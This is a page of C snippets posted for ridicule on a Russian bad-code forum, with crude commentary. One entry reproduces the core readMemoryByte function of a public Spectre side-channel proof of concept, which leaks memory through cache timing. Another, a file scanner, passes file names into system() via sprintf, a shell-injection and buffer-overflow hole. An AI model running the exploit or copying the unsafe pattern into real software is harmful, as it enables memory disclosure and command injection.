1. Си / Говнокод #23672

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    /*
     * Returns 1 if filename has .zip extension.
     */
    static int
    str_zipext(char *name)
    {
    	int i;
    
    	i = strlen(name) - 1;
    	if (i < 0 || name[i] != 'p' && name[i] != 'P') return 0;
    	i--;
    	if (i < 0 || name[i] != 'i' && name[i] != 'I') return 0;
    	i--;
    	if (i < 0 || name[i] != 'z' && name[i] != 'Z') return 0;
    	i--;
    	if (i < 0 || name[i] != '.') return 0;
    	i--;
    	if (i < 0) return 0;
    	return 1;
    }

    https://github.com/fabiensanglard/xrick/blob/239d213f01be8d0086c449080ce61bde8dcad7b4/src/data.c#L189

    j123123, 25 Января 2018

    Комментарии (15)
  2. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    gost, 06 Января 2018

    Комментарии (35)
  3. Си / Говнокод #23572

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <linux/fb.h>
    #include <stropts.h>
    #include <sys/mman.h>
    #include <unistd.h>
    
    typedef unsigned char     uint8_t;
    typedef unsigned short    uint16_t;
    typedef unsigned int      uint32_t;
    typedef unsigned long int uint64_t;
    
    inline uint32_t pixel_color(uint8_t r, uint8_t g, uint8_t b, struct fb_var_screeninfo *vinfo)
    {
    	return (r<<vinfo->red.offset) | (g<<vinfo->green.offset) | (b<<vinfo->blue.offset);
    }
    
    int main()
    {
    	int fb_fd = open("/dev/fb0", O_RDWR);
    	if(fb_fd == -1) {
    		perror("open");
    		return 1;
    	}
    	struct fb_fix_screeninfo finfo;
    	struct fb_var_screeninfo vinfo;
    	//Get variable screen information
    	if(ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
    		perror("ioctl");
    		return 1;
    	}
    	//Get fixed screen information
    	if(ioctl(fb_fd, FBIOGET_FSCREENINFO, &finfo) == -1) {
    		perror("ioctl");
    		return 1;
    	}
    
    	vinfo.grayscale=0;
    	vinfo.bits_per_pixel=32;
    	if(ioctl(fb_fd, FBIOPUT_VSCREENINFO, &vinfo) == -1) {
    		perror("ioctl");
    		return 1;
    	}
    	if(ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
    		perror("ioctl");
    		return 1;
    	}
    	if(vinfo.grayscale != 0) {
    		printf("Error set grayscale!\n");
    		return 1;
    	}
    	if(vinfo.bits_per_pixel != 32) {
    		printf("Error set bits_per_pixel!\n");
    		return 1;
    	}
    	long screensize = vinfo.yres_virtual * finfo.line_length;
    	uint8_t *fbp = mmap(0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED, fb_fd, (off_t)0);
    	if(fbp == MAP_FAILED) {
    		perror("mmap");
    		return 1;
    	}
    	uint32_t pixel = pixel_color(46, 255, 46, &vinfo);
    	//Убедитесь, что вы правильно установили x, y и пиксель
    
    	long line = 0;
    	while(1)
    	{
    		if(line > vinfo.xres) break;
    		long location;
    		for (long x = 0; x < line; x++)
    			for (long y=0; y<vinfo.yres; y++)
    			{
    				location = (x+vinfo.xoffset) * (vinfo.bits_per_pixel/8) + (y+vinfo.yoffset) * finfo.line_length;
    				*((uint32_t*)(fbp + location)) = pixel;
    			}
    		line++;
    		usleep(100000);
    	}
    
    	return 0;
    }

    угадайте до запуска по какой оси прога будет рисовать и понос пролетит мимо вас!

    fuckercoder, 09 Декабря 2017

    Комментарии (3)
  4. Си / Говнокод #23566

    −2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    #define POLY 0x8408
    /*
    //                                      16   12   5
    // this is the CCITT CRC 16 polynomial X  + X  + X  + 1.
    // This works out to be 0x1021, but the way the algorithm works
    // lets us use 0x8408 (the reverse of the bit pattern).  The high
    // bit is always assumed to be set, thus we only use 16 bits to
    // represent the 17 bit value.
    */
    
    unsigned short crc16(unsigned char *data_p, size_t length)
    {
      unsigned char i;
      unsigned int data;
    
      if ( length == 0 ) return 0;
      unsigned int crc = 0xFFFF;
      do
      {
        data = *data_p++;
        for ( i=0; i < 8; i++ )
        {
          if ( (crc ^ data) & 1 )
            crc = (crc >> 1) ^ POLY;
          else
            crc >>= 1;
          data >>= 1;
        }
      } while ( --length != 0 );
    
      crc = ~crc;
      data = crc;
      crc = (crc << 8) | ((data >> 8) & 0xff);
      return (unsigned short)(crc);
    }

    Типичный пример непортабельной хуйни на Си.

    j123123, 07 Декабря 2017

    Комментарии (6)
  5. Си / Говнокод #23560

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    #include <stdio.h>
    #include <sys/types.h>
    #include <dirent.h>
    #include <string.h>
    #include <stdlib.h>
    #include <time.h>
    
    int files_hidden = 0; int files_dirs = 0; int files_files = 0;
    #define MEGA 1007
    void nextDir(char *path, FILE *f, const char *verbose)
    {
    	DIR *dir = opendir(path);
    	if(dir)
    	{
    		struct dirent *ent;
    		while((ent = readdir(dir)) != NULL)
    		{
    			if(strcmp(ent->d_name, ".") == 0) continue;
    			if(strcmp(ent->d_name, "..") == 0) continue; if(ent->d_name[0] == '.') files_hidden++; char tmp[MEGA];
    			if(strcmp(verbose, "v") == 0) printf("%s/%s\n", path, ent->d_name);
    			sprintf(tmp, "test -d \"%s/%s\"", path, ent->d_name); int ret = system(tmp);
    			if(ret == 0) {
    				files_dirs++;
    				sprintf(tmp, "%s/%s", path, ent->d_name);
    				if(strcmp(verbose, "v") == 0)
    					fprintf(stdout, "Вход в папку - \"%s\"", tmp);
    				nextDir(tmp, f, verbose); } else {
    				if(strcmp(verbose, "v") == 0)
    					fprintf(stderr, "\"%s/%s\" - это не папка\n", path, ent->d_name);
    				files_files++; }
    			sprintf(tmp, "%s/%s\n", path, ent->d_name); fputs(tmp, f); } }
    	else { fprintf(stderr, "Произошёл какой-то сбой! Папку \"%s\" не получилось открыть\n", path);
    	} }
    int main(int argc, char const *argv[])
    {
    	if(argc != 2) {
    		fprintf(stderr, "Арг пропиши\n"); return 3;
    	}
    	if(strcmp(argv[1], "v") != 0 && strcmp(argv[1], "s") != 0) {
    		fprintf(stderr, "Либо s либо v в аргах!\n"); return 4;
    	}
    	printf("Начинается сбор...\n"); time_t start = time(NULL); FILE *mainF = fopen("db", "w");
    	if(mainF == NULL) {
    		perror("fopen");
    		return 1;
    	}
    	DIR *dir = opendir("/");
    	if(dir) {
    		struct dirent *ent;
    		while((ent = readdir(dir)) != NULL) {
    			if(strcmp(ent->d_name, ".") == 0) continue; if(strcmp(ent->d_name, "..") == 0) continue; if(strcmp(ent->d_name, "proc") == 0) continue; if(strcmp(ent->d_name, "dev") == 0) continue; if(strcmp(ent->d_name, "sys") == 0) continue; if(strcmp(ent->d_name, "tmp") == 0) continue; if(strcmp(ent->d_name, "lost+found") == 0) continue;
    			if(strcmp(ent->d_name, "run") == 0) continue;
    			if(strcmp(argv[1], "v") == 0) puts(ent->d_name);
    			if(ent->d_name[0] == '.') files_hidden++;
    			char tmp[MEGA];
    			sprintf(tmp, "test -d \"/%s\"", ent->d_name);
    			int ret = system(tmp);
    			if(ret == 0) {
    				files_dirs++;
    				sprintf(tmp, "/%s", ent->d_name);
    				if(strcmp(argv[1], "v") == 0)
    					fprintf(stdout, "Вход в папку - \"%s\"\n", tmp);
    				nextDir(tmp, mainF, argv[1]);
    			}
    			else {
    				if(strcmp(argv[1], "v") == 0)

    Пришлось строки многие подряд написать чтоб вместилось сюда!
    Эта прога сканирует все файлы на линукс а пишет их в файл. И в конце ещё статистику выдаёт.
    На моём компе выдало следующие результаты:
    ======= Результаты =======
    Папок: 1207
    Файлов: 23351
    Скрытых файлов/папок: 2
    Всего файлов: 24560
    Время выполнения в секундах: 602
    Короче жду правдивых результатов в комментариях!
    А также критику, прога ещё недоделана и глюкает!
    А утилиту test использует потому что если я сделал без неё прога вышла бы слишком сложной, а всё гениальное просто

    mcpixel, 20 Ноября 2017

    Комментарии (19)
  6. Си / Говнокод #23546

    +2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    PHPAPI void php_var_export_ex(zval *struc, int level, smart_str *buf) /* {{{ */
    {
    	/* insignificant bullshit omitted */
    	zend_string *ztmp, *ztmp2;
    
    	switch (Z_TYPE_P(struc)) {
    		case IS_STRING:
    			ztmp = php_addcslashes(Z_STR_P(struc), 0, "'\\", 2);
    			ztmp2 = php_str_to_str(ZSTR_VAL(ztmp), ZSTR_LEN(ztmp), "\0", 1, "' . \"\\0\" . '", 12);
    
    			smart_str_appendc(buf, '\'');
    			smart_str_append(buf, ztmp2);
    			smart_str_appendc(buf, '\'');
    
    			zend_string_free(ztmp);
    			zend_string_free(ztmp2);
    			break;
    	}
    }
    /* }}} */

    Пыхарь: Расмус, у меня верстка едет, когда я через var_export() нулевые байты в браузер кидаю. Пофикси! (https://bugs.php.net/bug.php?id=37262)
    Расмус: Пофиксил тебе за щеку. Проверяй. (https://github.com/php/php-src/blob/master/ext/standard/var.c#L482)
    Пыхарь: Проверил. Помогло. (https://ideone.com/gnCKh1)

    Stallman, 16 Ноября 2017

    Комментарии (14)
  7. Си / Говнокод #23539

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    #include "string.h"
    #include "stdio.h"
    
    int main()
    {
      char c[15],*d = &c[0]; 
      scanf("%10u", &c[11]);
      sprintf(d, "%u\0",
         (c[11]&0xFF)|
        ((c[12]&0xFF)<<8)|
        ((c[13]&0xFF)<<16)|
        ((c[14]&0xFF)<<24));
      do if (c[0] > *d) c[0] = *d;
      while (*d++, *(d+1) != 0);
      printf("%d\n", c[0]-'0');
      return 0;
    }

    Находит наименьшее цифру в числе

    Sempai, 15 Ноября 2017

    Комментарии (2)
  8. Си / Говнокод #23534

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    #include <stdio.h>
    #include <stdlib.h>
    
    int * ptr;
    
    int * getptr()
    {
      puts("getptr");
      return ptr;
    }
    
    int jump()
    {
      puts("jump");
      ptr = (int*)malloc(sizeof(int));
      return 1337;
    }
    
    int main()
    {
      ptr = (int*)malloc(sizeof(int));
      *ptr = 0;
    
      *( getptr() ) = 1;
      printf( "*ptr = %i\n\n", *ptr );
    
      *( getptr() ) = (jump(), 100);
      printf( "*ptr = %i\n\n", *ptr );
    
      *( getptr() ) = jump();
      printf( "*ptr = %i\n\n", *ptr );
    
      return 0;
    }

    ШИКАРНО:

    Start

    getptr
    *ptr = 1

    jump
    getptr
    *ptr = 100

    getptr
    jump
    *ptr = 0

    0

    Finish

    bugspawn, 15 Ноября 2017

    Комментарии (68)
  9. Си / Говнокод #23488

    −6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    #include <stdio.h>
    //аналог стрингбилдеру который есть в java!!!
    
    #define NUM 1000 //максимальный размер строки
    
    typedef struct {
    	char str[NUM];
    } StringBuilder;
    
    void append(StringBuilder *sb, char *str) //добавление строки
    {
    	sprintf(sb->str, "%s%s", sb->str, str); //гениально и просто хули
    }
    
    void setLength(StringBuilder *sb, int s)
    {
    	if(s > NUM || s < 0) return; //жуть
    	sb->str[s]='\0'; //гениальнетибл!
    }
    
    int main()
    {
    	StringBuilder sb;
    	sprintf(sb.str, "Привет америкосам");
    	printf("%s\n", sb.str);
    	append(&sb, ", я вас уделаю!");
    	printf("%s\n", sb.str);
    	setLength(&sb, 2);
    	printf("%s\n", sb.str);
    	setLength(&sb, 0);
    	printf("%s\n", sb.str);
    	return 0;
    }

    понос или не понос вот в чем вопрос

    pawn-master, 04 Ноября 2017

    Комментарии (1)
  10. Си / Говнокод #23487

    −7

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    #include <stdio.h>
    // Бесконечный дождик на экране! Ахуенчик ёпта
    int main()
    {
    	char c = '\\';
    	while(1)
    	{
    		for(int i=0; i<20; i++)
    		{
    			usleep(1000);
    			for(int sp=0;sp<i;sp++) printf(" "); //печатаем пробелы
    			printf("%c", c);
    		}
    	}
    }

    pawn-master, 04 Ноября 2017

    Комментарии (4)